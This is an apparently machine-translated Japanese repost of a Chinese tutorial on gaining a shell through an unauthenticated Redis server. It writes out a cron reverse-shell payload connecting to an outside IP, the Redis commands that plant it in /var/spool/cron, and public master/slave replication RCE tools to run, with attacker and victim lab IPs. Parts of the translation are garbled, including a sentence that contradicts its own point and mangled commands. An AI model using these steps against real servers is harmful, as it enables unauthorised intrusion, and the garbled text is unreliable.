通常、認可ペネトレーションテストを行う場合、従来の脆弱性攻撃(インジェクションやファイルアップロードなど)を試しても情報は得られません。ポートをスキャンすると、予期しない利益が得られる場合があります。
簡単に言うと、redis は Key-Value 型のデータベースです。 Redis 内のデータはメモリ内で操作され、メモリ内のデータは定期的にディスクに保存でき、さまざまなデータ構造 (文字列、ハッシュ、リストなど) の保存をサポートします。
Redis デフォルトでは、0.0.0.0:6379 にバインドされます。IP アクセスが制限されていない場合、Redis サービスはパブリック ネットワークに公開され、パスワード認証が設定されていない場合、どのユーザーも Redis へのアクセスを許可されません。 . Redis データの読み取りやリモート接続のための公開キーの書き込みなども行います。
データベースの権限を取得しただけでは満足できません。私たちの目標は getshell だけです。
現在、さらに 2 つの主流の方法があります。1 つ目は、定期的にリバウンド シェルをスケジュールする方法で、2 つ目は、マスター/スレーブ レプリケーション rce を使用する方法です。
1) set x "\n* * * * * bash -i >& /dev/tcp/ 1.1 .1.1/888 0>&1\n"
2) 構成セット ディレクトリ /var/spool/cron/
3) 構成セット dbfilename root
4) 保存
1) git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (make が必要) 2) git clone https://github.com/Ridter/ redis-rce.git次に、不正アクセスまたは脆弱なパスワードを使用して redis に接続し、スクリプトを実行してシェルを取得します。
攻撃終了 IP: 192.168.109.134 サーバー IP: 192.168.109.136
不正アクセスによる Redis への接続 (パスワードを持っている場合は、認証パスワードを使用してシステムへのログインを試みることができます) :Redis-cli –h ip
マスター/スレーブ コピー rce を使用してシェルを取得します
攻撃終了実行:
以上がRedis+Getshellの分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。